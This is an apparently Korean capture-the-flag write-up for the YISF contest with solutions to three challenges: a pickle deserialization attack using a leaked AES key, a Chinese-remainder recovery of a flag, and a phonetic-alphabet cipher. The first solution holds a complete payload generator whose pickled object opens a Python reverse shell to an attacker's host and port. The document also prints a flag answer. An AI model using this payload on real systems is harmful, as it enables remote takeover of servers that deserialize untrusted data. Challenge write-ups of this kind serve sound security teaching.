info = pickle.loads(decrypt(base64.b64decode(vsession)))
해당 부분에서 pickle deserialize 취약점이 발생합니다. app.py:60
에서 response 시 AES_KEY를 포함합니다. 따라서 로컬에서 pickle 구문을 만들 수 있습니다.
import os, pickle, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
AES_KEY = "36f6d9a966c4478c73af4fde2f813212"
INFO = ['name', 'userid', 'password']
def encrypt(data):
cipher = AES.new(AES_KEY.encode(), AES.MODE_ECB)
return cipher.encrypt(pad(data, AES.block_size))
def decrypt(data):
cipher = AES.new(AES_KEY.encode(), AES.MODE_ECB)
return unpad(cipher.decrypt(data), AES.block_size)
INFO = ['name', 'userid', 'password']
info = {}
class exploit():
def __reduce__(self):
return (os.popen,(''' export RHOST="[IP]";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")' ''', ))
data = base64.b64encode(encrypt(pickle.dumps(exploit()))).decode('utf8')
print("ENCODED : ", data)
위 코드는 reverse shell을 실행하기 위한 페이로드를 생성하는 코드입니다. 서버의 암호화 과정을 똑같이 수행합니. 위 코드를 실행하면 직렬화와 AES 암호화 과정을 거친 base64가 하나 나오는데, 해당 Base64를 서버의 /check_vsession
엔드포인트로 보내면 reverse shell이 열립니다. reverse shell 이 열리면 플래그를 읽으면 됩니다.
문제 코드는 아래와 같습니다.
assert len(flag := open('flag', 'rb').read()) == 28
assert (mod := int(input())) < 200
print(int.from_bytes(flag, 'big') % mod)
200이 넘지 않는 소수들을 보내서 돌아오는 값들을 모으면 됩니다.
import socket
from sympy.ntheory.modular import crt
def connect(host, port, mod):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.sendall(f"{mod}\\n".encode())
response = s.recv(1024).decode().strip()
return int(response)
host = '211.229.232.101'
port = 22111
moduli = [5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197] # Several primes < 200
remainders = []
for mod in moduli:
remainder = connect(host, port, mod)
remainders.append(remainder)
print(f"Modulus: {mod}, Remainder: {remainder}")
flag_int = crt(moduli, remainders)[0]
flag_bytes = flag_int.to_bytes(28, 'big')
flag = flag_bytes.decode()
print(f"Flag: {flag}")
YISF{cutcutcut_flagflagfalg}
더블 포네틱 코드를 S로 치환한 암호입니다. S → Sierra → Sierra India Echo Romeo Romeo Alpha → SSSSSS SSSSS SSSS SSSSS SSSSS SSSSS
문제에서 제공하는 포네틱은 아래와 같습니다.
{
"A": "Alfa", "B": "Bravo", "C": "Charlie", "D": "Delta", "E": "Echo",
"F": "Foxtrot", "G": "Golf", "H": "Hotel", "I": "India", "J": "Juliett",
"K": "Kilo", "L": "Linux", "M": "Mike", "N": "November", "O": "Oscar",
"P": "Papa", "Q": "Quebec", "R": "Romeo", "S": "Sierra", "T": "Tango",
"U": "Uniform", "V": "Victor", "W": "Whiskey", "X": "Xray", "Y": "Yankee",
"Z": "Zulu"
}